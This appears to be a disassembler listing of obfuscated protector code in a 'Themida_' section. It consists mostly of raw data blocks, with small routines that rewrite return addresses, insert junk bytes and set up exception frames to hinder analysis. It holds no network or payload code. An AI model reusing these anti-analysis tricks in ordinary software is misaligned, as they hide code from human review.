		dd 1C042444h, 42000000h, 85F6C352h, 97AFC66Bh, 8DE5B181h
		dd 170C5F85h, 7DBD0B06h, 8306122Dh, 6A05C0h, 3E852h
		db 0
; ---------------------------------------------------------------------------


loc_5CC5E5:				; CODE XREF: Themida_:005CC566j
		add	[eax], ah
		pop	edx
		retn
; ---------------------------------------------------------------------------
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 18h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		cli
		dec	eax
		clc
		sbb	dh, [eax+8A1B589h]
		adc	al, [esi]
		mov	[ebp+61214FDh],	esi
		push	eax
		pusha
		jmp	loc_5CC616
; ---------------------------------------------------------------------------
		db 13h,	1Dh, 2Eh
		db 0A3h, 0BBh
; ---------------------------------------------------------------------------


loc_5CC616:				; CODE XREF: Themida_:005CC60Cj
		mov	ebx, 143D3060h
		popa
		mov	[esp], eax
		movzx	edi, dx
		push	0
		push	0
		push	edx
		call	sub_5CC62F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC62F	proc near		; CODE XREF: Themida_:005CC627p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5CC62F	endp

; ---------------------------------------------------------------------------
		jmp	short near ptr byte_5CC6B1
; ---------------------------------------------------------------------------
		db 0F0h, 71h, 0DDh
		dd 3D95897Eh, 6A061203h, 5595FF00h, 6606120Bh, 8D8DDA8Bh
		dd 6159BCAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0A6C35141h, 0DE8B72ACh,	3704C381h, 0D1FF536Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 13C35040h
		dd 81BDA6ADh, 0BD833E9Fh, 6120EE9h, 86850F01h
		db 0
byte_5CC6B1	db 2 dup(0), 6Ah	; CODE XREF: Themida_:005CC63Fj
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0D1D9C357h, 0EABFF2E2h, 0A5EC56FDh, 12E8026Ah
		dd 0D6000000h, 0AB0AD733h, 1212A11Ah, 0B3DBF365h, 0ACB00618h
		dd 0D9BF0FD4h, 5250905Bh, 5F515250h, 870F310Fh,	0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		pop	edi
		nop
		push	0
		push	eax
		call	sub_5CC713
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC713	proc near		; CODE XREF: Themida_:005CC70Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CC713	endp

; ---------------------------------------------------------------------------
		db 26h
; ---------------------------------------------------------------------------
		and	dh, 0E3h
		or	al, dl
		push	66h
		mov	edi, ebx
		call	dword ptr [ebp+6122CD5h]
		add	[ebp+6121B49h],	edi
		jmp	loc_5CD50B
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 6170C69h
		push	0
		push	ebp
		call	sub_5CC755
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC755	proc near		; CODE XREF: Themida_:005CC74Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CC755	endp

; ---------------------------------------------------------------------------
		db 1Bh,	66h, 8Bh
; ---------------------------------------------------------------------------
		cli
		jmp	loc_5CC77E
; ---------------------------------------------------------------------------
		jnz	short loc_5CC778
		mov	ds:0D4B2211Ch, al
		inc	byte ptr [ebx+ebp*4]


loc_5CC778:				; CODE XREF: Themida_:005CC76Ej
		dec	esp
		push	1Dh
		aas
		xchg	eax, ecx
		pop	es


loc_5CC77E:				; CODE XREF: Themida_:005CC769j
		lea	eax, [ebp+615968Fh]
		push	0
		push	edi
		call	sub_5CC78F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC78F	proc near		; CODE XREF: Themida_:005CC787p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5CC78F	endp

; ---------------------------------------------------------------------------
		db 0Ah
; ---------------------------------------------------------------------------
		lahf
		rcl	dword ptr [ecx-3F7E99A0h], 98h
		cld
		jmp	loc_5CC7B8
; ---------------------------------------------------------------------------
		dw 9804h
		dd 0D07FA7B3h, 0EBBDE01Bh
; ---------------------------------------------------------------------------


loc_5CC7B8:				; CODE XREF: Themida_:005CC7A9j
		popa
		mov	di, cx
		push	eax
		mov	di, 68A4h
		mov	[esp], eax
		mov	edi, [ebp+61223C5h]
		push	large dword ptr	fs:0
		push	0
		push	edx
		call	sub_5CC7DC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC7DC	proc near		; CODE XREF: Themida_:005CC7D4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5CC7DC	endp

; ---------------------------------------------------------------------------
		dd 74D98E66h, 21F1AAB0h, 1471BD8Bh, 89640612h, 25h, 999D8900h
		dd 8906120Ch, 1222FD8Dh, 3585FF06h, 0B061212h, 1229FDBDh
		dd 5840F06h, 66000000h,	0EECAD781h, 6AFF6Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 482FA8C3h
		dd 0BEA89317h, 0EE8h, 2C5B4500h, 88868286h, 735C8CACh
		dd 0F8F0452h, 683h, 0A0EF8100h,	5B58BDF2h, 31F1B5FFh, 0BD8B0612h
		dd 6121805h, 147595FFh,	0F7E90612h, 0BF000000h,	70334703h
		dd 800F00B0h, 5, 0F6DF8166h, 5BD8945h, 0E6061234h, 14E970h
		dd 11620000h, 46F18902h, 8995AE96h, 0EE5DB842h,	0CF11F9A9h
		dd 71E4E9FDh, 0F613CF5h, 0B983h, 0FA4B300h, 0EB81C8B6h
		dd 3B4D80D2h, 6BAh, 0C18BF800h,	0C1D9BF0Fh, 9E904E8h, 0F6000000h
		dd 328D82B7h, 1CA8B19Ah, 89E2F766h, 1207E1B5h, 66C82B06h
		dd 1E9DEF81h, 8B66D18Bh, 78E9D9h, 0DE90000h, 0CB000000h
		dd 1D41B2DCh, 526A9B44h, 54A652B5h, 858BB8B3h, 44004E49h
		dd 0A161BB66h, 8B07C083h, 120865BDh, 0C08306h, 1D459D89h
		dd 0D03B0612h, 11830Fh,	3BE90000h, 0F000000h, 680h, 11953100h
		dd 8B061220h, 0FFFFFF8Dh, 0FA8B66FFh, 83D9B70Fh, 840F01E1h
		dd 1Ah,	0A583DF8Bh, 0FFFFFFFFh,	89DF8BFEh, 4E4995h, 5ABF6644h
		dd 0E966h, 0B58D0000h, 61684E9h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 3FC35343h, 0EB906041h, 0E761B0F1h
		dd 0BD096092h, 6123291h, 0BBB3BA66h, 8B006A61h,	0D98B66DFh
		dd 29D195FFh, 0B9FC0612h, 0FEEh, 6BF496BBh, 0FCE18342h
		dd 0A59589h, 6AFC0612h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E961C352h,	8, 412BADB6h
		dd 1EA4B554h, 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0ADA249Ah, 85AA7CD0h
		dd 0CE8h, 0B017EF00h, 64A48B17h, 0C06F4194h, 0DBD8B95h
		dd 5F061208h, 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0E97309C3h, 0A483ACEDh, 0E8FB8B66h
		dd 0Fh,	4F519E44h, 0CF3A850Fh, 6D21718Ch, 89E24CC3h, 1227BD85h
		dd 33AD5B06h, 3E8D1C2h,	4E983D0h, 0E780F475h, 50006AE4h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 4BEC5CD7h, 58DBBA33h, 2410BF66h, 0FACF8160h,	350CDDCh
		dd 1228C5BDh, 880D6106h, 0BF000000h, 3E183CEAh,	2DCD958Bh
		dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0C4AC00C3h, 0FB7BBEFAh, 8E952B4h,	51000000h
		dd 815DBD4Ah, 0F20953Fh, 78Ah, 7AB86000h, 617109FDh, 31BD8D8Bh
		dd 0E9500612h, 0Fh, 664E82FEh, 0F479A5F1h, 0E7008B23h
		dd 5F7E6C4Bh, 1A859D89h, 8B500612h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 8DC35545h, 81503592h,	0FB919AF7h, 0BD835B1Bh
		dd 6121419h, 85840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 171AC350h
		dd 0BD8BB335h, 6123419h, 3699D8Bh, 9D8B0612h, 6120F25h
		dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 4B8D8DE0h, 6A06124Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B7CBC356h
		dd 160879C1h, 90CAF4DAh, 9589E1FFh, 6123395h, 11BD83h
		dd 0F000612h, 45884h, 11BD8300h, 1061200h, 466840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 50D833C3h, 11BD83EBh, 3061200h, 404860Fh, 0BB660000h
		dd 2960EC70h, 121B9585h, 0D98C6606h, 6604E180h,	0F9D7DF81h
		dd 840FC90Ah, 131h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 2C35242h, 0BD3BD05Fh,	0CB816684h, 858B7407h
		dd 61224CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	81C35242h, 0E46BD310h, 91E110DFh, 1DF1BD8Bh, 0B70F0612h
		dd 8D8533D9h, 81061224h, 5D2E2AE3h, 0E5BB664Bh,	0EE990FBh
		dd 0EE000000h, 5325150Dh, 177A3C19h, 0FCFD4895h, 52505030h
		dd 8B66310Fh, 90585ADFh, 8B665153h, 6A5F5FDFh, 0E7816600h
		dd 0B468F737h, 5386F5EAh, 2404815Fh, 7929194Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C7C35343h, 2ED1B501h
		dd 95FF0612h, 6123031h,	19880F50h, 0E9000000h, 14h, 40379BCFh
		dd 0EB394D3Bh, 20732C8h, 55E828EFh, 33E0F1BBh, 0C85895Fh
		dd 0F0615BDh, 0F83h, 9E800h, 0C1760000h, 124A248Ah, 5B85DBCDh
		dd 1FAE9h, 89606000h, 122F198Dh, 61F4B506h, 61D6B70Fh
		dd 10E9h, 0B20E8F00h, 0F777494Bh, 498F2C32h, 0DDB15E3h
		dd 4858BC0h, 290615BDh,	121A9D85h, 1800C706h, 29000000h
		dd 121FD18Dh, 8B58B06h,	6A0615BDh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0AE3FC353h
		dd 59767C9Ch, 8BB63A12h, 1215199Dh, 99858B06h, 6A061223h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8941C357h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0B4EA17Eh, 8E74BFBCh
		dd 858B16BFh, 61224CDh,	29198589h, 46890612h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 3D22D845h, 0D9B70F13h, 0FABB6696h, 4ABF50D6h, 964C1774h
		dd 10E9h, 0DEE98200h, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 4B5FF84h
		dd 6A0615BDh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 7E28C350h, 11633322h, 4E8h, 1F03FF00h
		dd 2820F00h, 56000000h,	5250505Fh, 0C145BF66h, 8E8310Fh
		dd 54000000h, 1699AB9Fh, 0E9C15FB9h, 10h, 8202E09Ah, 0C0589C2Ah
		dd 72797BA4h, 5491DAF5h, 8B585A5Fh, 8A042444h, 8B008BF8h
		dd 244489DEh, 0A06EBF04h, 6A587639h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 8AC5C356h
		dd 8D031440h, 15BD0C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 6772238Dh, 0F5B2883Ch
		dd 10E9h, 45CEF200h, 0B323DC6Ah, 0AFCBA9C0h, 0DED20702h
		dd 6651508Eh, 895FDA8Bh, 85892404h, 61217A1h, 303195FFh
		dd 81660612h, 619600F7h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 42C35747h, 0F9C61DFBh, 3AC6D40h, 0D30F781h
		dd 858901FAh, 6120B51h,	1185C7h, 30612h, 63BB0000h, 8332CB77h
		dd 15BD0CBDh, 840F0006h, 92h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 41C35545h, 8D0EF047h, 3DBE64E6h
		dd 5E9h, 3138E00h, 12E8A24Ch, 0F2000000h, 0F0035780h, 0F89DE22Ah
		dd 0A5E99B19h, 8AB10CE1h, 59BD8BB4h, 5B06121Ch,	5CE9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 6CF84A6Ah, 0A464B4F5h, 0DE9942Fh, 2F000000h
		dd 27DC4E38h, 0F6247651h, 0A8F66F47h, 5E9h, 0BFD5AD00h
		dd 3050F6D7h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 8E0FC0h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4CDCC356h
		dd 55A33045h, 0D896F804h, 68E0Fh, 9D890000h, 6122395h
		dd 11BD83h, 0F030612h, 3D685h, 45BD8B00h, 8B061228h, 0CBD83F9h
		dd 615BDh, 3C1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 9D01E2C3h, 6122D75h
		dd 0BD0CB5FFh, 6A0615h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0B30956C3h, 8A0FA7C6h, 6, 38D9D8Bh
		dd 95FF0612h, 6122029h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0A2C35141h, 819D8B53h, 8B061223h, 15BD00B5h
		dd 0EE906h, 73FD0000h, 9C5ECE1Dh, 9899854Ch, 427D702Eh
		dd 106C7h, 0CE90001h, 3B000000h, 818D6BFAh, 7C516DCFh
		dd 50CCC8D5h, 5E8h, 0AC7E0A00h,	5060062Ah, 5A310F52h, 0DA8B6658h
		dd 34895F61h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0F5BD8BDCh, 50061202h, 8C0Fh, 0FF5F0000h
		dd 15BD0CB5h, 4ACF8106h, 0FF04D5D9h, 121AE195h,	6860F06h
		dd 3000000h, 1219A19Dh,	0B58B06h, 8B0615BDh, 12303985h
		dd 0F8BB6606h, 0F19D8988h, 89061219h, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0CC519D65h, 86BF577Ah, 5F455898h, 2DCD958Bh,	6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A5FED7C3h, 5E596A70h, 4C28335h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 5AC35242h, 52225338h, 11E8h
		dd 52C0B600h, 0B14A3D03h, 189F4B78h, 91C00B52h,	0BD230902h
		dd 6120799h, 50895B5Bh,	50006A20h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 8BB5A585h, 1F94B02h, 1223B185h
		dd 0EA858D06h, 660615D0h, 0F6CBCBBh, 486h, 0E1BF6600h
		dd 0B8868963h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0CD99C356h,	66A979D0h
		dd 708DC381h, 21619D09h, 6A0612h, 0FFD9BF0Fh, 15BD0CB5h
		dd 0ED9D2306h, 0B706122Bh, 0D595FF12h, 2906122Ch, 120459B5h
		dd 0E5B39606h, 96D88B50h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0EBC35040h, 8FEF3FBBh, 0BB66A852h, 0B5FFC7A9h
		dd 615BD0Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0A3C35040h, 80046414h, 95FF55F3h, 6122E29h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7EC35545h, 156C83Fh
		dd 0EDBB6630h, 89BD8305h, 61211h, 43840Fh, 0EE90000h, 3B000000h
		dd 201F7A74h, 41F32BE7h, 63AA4ACCh, 0FB8B503Eh,	6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 3AB5C356h, 6820F1Fh, 8B000000h, 1211BDBDh
		dd 0CB5FF06h, 520615BDh, 0BB5987BBh, 95FF5F35h,	6122AA5h
		dd 830Fh, 0B5FF0000h, 615BD0Ch,	29D5BD8Bh, 95FF0612h, 6121BB1h
		dd 163D9589h, 0BD830612h, 6122A41h, 57840F02h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0CA5AC350h, 5087D206h, 18A9858Bh,	6A0612h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 716991C3h, 8B2E6874h, 1228D19Dh, 0C606h, 7F5B509h, 85C70612h
		dd 6120301h, 0
		dd 8166C3B3h, 0E98883D7h, 0FFFFF370h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0E5C35545h,	4479D5EFh, 2E935D47h
		dd 5BD8979h, 8B061233h,	53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0EC3E708h, 0E6A55C5Eh
		dd 0D9C3818Ch
		db 0B7h, 1, 2Ch
; ---------------------------------------------------------------------------


loc_5CD50B:				; CODE XREF: Themida_:005CC739j
		lea	eax, [ebp+6120065h]
		push	0
		push	ecx
		call	sub_5CD51C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD51C	proc near		; CODE XREF: Themida_:005CD514p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5CD51C	endp

; ---------------------------------------------------------------------------
		dd 9DBE44AAh, 71AF50FCh, 0CE46BF66h, 7840Fh, 8F0F0000h
		dd 1, 8EBF90F9h, 502E60C2h, 6A90FA8Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6A8AC357h
		dd 0C5BD8900h, 6A061225h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 93FE1D63h
		dd 858D3DC1h, 6171C6Eh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 90C35646h, 0D9A02F70h, 729AFDC6h, 10E858h
		dd 304B0000h, 0DC748509h, 0B156B805h, 0C0DF142Ch, 0EF819025h
		dd 746A9D53h, 5C0835Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 8FC35242h, 0D5BAED77h, 9D230E66h, 6120B1Dh
		dd 24048950h, 19800F60h, 0E9000000h, 14h, 0D7F78271h, 6A70A5FEh
		dd 24355E59h, 4363C5AFh, 0BD71D075h, 6830Fh, 8D890000h
		dd 6120275h, 8B006A61h,	6A006AF8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 84A6C357h
		dd 0CBECDC4Dh, 3D9D8B00h, 0FF061217h, 120B5595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 1FFEF111h, 8E7A9D44h, 8859D8Bh, 0B7B70612h, 9BCA8D8Dh
		dd 95890615h, 61210D9h,	128C0Fh, 0AE80000h, 52000000h
		dd 55F054A6h, 0A8A69ED3h, 5FDA8B3Bh, 39BFD1FFh,	83044BD7h
		dd 120EE9BDh, 850F0106h, 78h, 6A026Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 2A7F61C3h
		dd 13229E77h, 66F95EF7h, 25A1F781h, 52505090h, 310FFD8Ah
		dd 0F98A5250h, 0B6BF310Fh, 5A3AEBF8h, 90585A58h, 18F9BD8Bh
		dd 95FF0612h, 6122CD5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 89C35343h, 93850AFh, 0B5891C1Dh, 61228D9h
		dd 0D54E9h, 0E800h, 815D0000h, 171C78EDh, 0DB816606h, 858D91E6h
		dd 615968Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	9CC35747h, 66FB0A87h, 8BEBF5BFh, 4DBD89DFh, 5006122Ch
		dd 7E8h, 9A883400h, 0F3DE519Fh,	5830Fh,	98BF0000h, 5F4C679Ah
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E090C352h, 867CBF66h,	64DEB70Fh
		dd 35FFh, 81660000h, 642D2EDBh,	2589h, 0BD0B0000h, 6121375h
		dd 123585FFh, 820F0612h, 17h, 0BE8h, 1C2FDC00h,	0C19221FCh
		dd 56540C0Eh, 8A0Fh, 8B5F0000h,	122E55BDh, 0FFF6A06h, 386h
		dd 0F98B6600h, 835B5FFh, 0FFF90612h, 12147595h,	133E906h
		dd 9D010000h, 612043Dh,	0BD8900B0h, 6121505h, 71E470E6h
		dd 1DBD0952h, 5B06120Bh, 830F613Ch, 111h, 10E9h, 0FD953A00h
		dd 0C435FEE7h, 8539CF2Dh, 0C5B77F24h, 0FE8B663Bh, 89C8B60Fh
		dd 1228658Dh, 6BA06h, 0C18B0000h, 17830Fh, 12E90000h, 3B000000h
		dd 0EDEB3CB8h, 81687DA6h, 2CEF99Ch, 42D42630h, 4E8C1D5h
		dd 66FABF0Fh, 0FD8AE2F7h, 2BFE8B66h, 0FFB70FC8h, 0E960D18Bh
		dd 0Ch,	0A95D15B5h, 62259A8Eh, 3DDE33AFh, 66EB8166h, 9D096194h
		dd 6122D21h, 94E9h, 6830F00h, 8B000000h, 12268DBDh, 4C858B06h
		dd 0F505F4Ch, 8Fh, 7C08300h, 0DC5BB5BBh, 0C08335h, 3B5FF853h
		dd 0E830FD0h, 0F9000000h, 9CBC78BBh, 5BE91Eh, 8B660000h
		dd 0FF8D8BFAh, 29FFFFFFh, 1200298Dh, 1E18306h, 43840Fh
		dd 8C0F0000h, 13h, 9E8h, 0AF72DB00h, 0D6C2B983h, 0BB66A82Ah
		dd 835FA9FBh, 0FFFFFFA5h, 9D8BFEFFh, 6121A79h, 4C4C9589h
		dd 5E8505Fh, 22000000h,	0D4106CA5h, 0BD895FFCh,	6121A29h
		dd 0E9h, 0D7B58D00h, 6A061694h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 44BCC352h, 53A78BD8h
		dd 34798D29h, 6A5F0612h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 423883A0h, 0F51FB5D1h
		dd 8B669C65h, 0BA6660D8h, 8501D169h, 6122205h, 0D195FF61h
		dd 6A061229h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0B255C357h, 296EDB60h,	0B9DE8B66h
		dd 1004h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	31C35040h, 1B335ACCh, 5AE75925h, 0FB8B66BCh, 89FCE183h
		dd 1224E18Dh, 0BD8BFC06h, 61210E1h, 0B8h, 0E3816600h, 0BA4EBFh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 209EC357h, 7D2ECFECh, 89FA8B66h
		dd 1231F585h, 0C233AD06h, 0D003E8D1h, 7504E983h, 25BD89F4h
		dd 6A06121Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 5BAFC356h, 5F8C9D4Eh, 0BD9D8BFAh
		dd 0D06122Fh, 88h, 2DCD958Bh, 0BD8B0612h, 61225B5h, 31BD8D8Bh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 4EE4ECC3h, 3BF6B0D0h, 9D8BFC6Bh, 6121AD9h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FBDE49C3h, 14C98D01h, 0BF660612h, 0BD83E139h, 6121419h
		dd 4B840F00h, 0E9000000h, 0Dh, 100A1A2Ah, 0A9F794A2h, 9C793D40h
		dd 0B831h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0AFA342C3h, 8D8DA28Ah, 6124E4Bh
		dd 21DDBD31h, 0E1FF0612h, 8F19D8Bh, 0BD830612h,	6120011h
		dd 95840F00h, 0F000004h, 0BD83DFBFh, 6120011h, 0A0840F01h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0E926C353h, 11BD83h, 0F030612h
		dd 44086h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 7307999Ah, 2BDD1AAFh, 12266DBDh
		dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 296A70C3h, 1212CDB5h, 0D98C6606h,	0AA8CBF66h
		dd 6A04E180h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0DA78C352h, 0FD526206h, 89E7E68Eh
		dd 12162995h, 0C59D8906h, 0A061219h, 62840FC9h,	6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 92E6C355h, 0B6B59EC0h, 0B72C9A4Fh, 8EDF8166h
		dd 0CD858B50h, 6A061224h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0CE82C353h,	0FEC78155h
		dd 0FABF0F15h, 248D8533h, 6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0AA88E4C3h, 0E47D0A39h
		dd 9E9F8h, 30CA0000h, 0DBE17A7Eh, 501A1279h, 0CE960h, 15440000h
		dd 1A8BAD16h, 9BED5E81h, 8961261Dh, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 94AF4DC3h
		dd 0DF8B66E2h, 6800F51h, 8B000000h, 1213D99Dh, 6A5F06h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0CC35343h, 5E78AEE3h,	89162E06h, 1210659Dh
		dd 10E906h, 1B50000h, 0D8AFC115h, 83E2888Ch, 9463C8C2h
		dd 5868A176h, 0BF2B5915h, 102EFC2Ah, 0A7243481h, 0F92B4616h
		dd 303195FFh, 0BB660612h, 0E9537335h, 14h, 47189AA3h, 0F4D540D1h
		dd 7C9CAE3Fh, 3A125976h, 0A2DFE6B6h, 0C85895Bh,	660615BDh
		dd 88DFCF81h, 0D4E9D88Bh, 8B000001h, 122C65BDh,	4858B06h
		dd 6A0615BDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 2A5CC351h, 0BB32D416h,	0C79604h
		dd 18h,	2F45BD89h, 0B58B0612h, 615BD08h, 6E8h, 3C57F300h
		dd 66CD7B98h, 5515E781h, 99858B5Fh, 6A061223h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 5D14C355h, 0BD858992h, 0BF061232h, 25028107h, 689D98Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1EC35040h
		dd 5721FB76h, 7BD01F2Ah, 0CD858BC5h, 6A061224h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 2A78C350h, 0D34B4CBAh, 48E0F34h, 66000000h, 321A1BBh
		dd 121EF1BDh, 4468906h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 28C35747h, 0CDB58912h, 50061200h, 3489DF8Bh
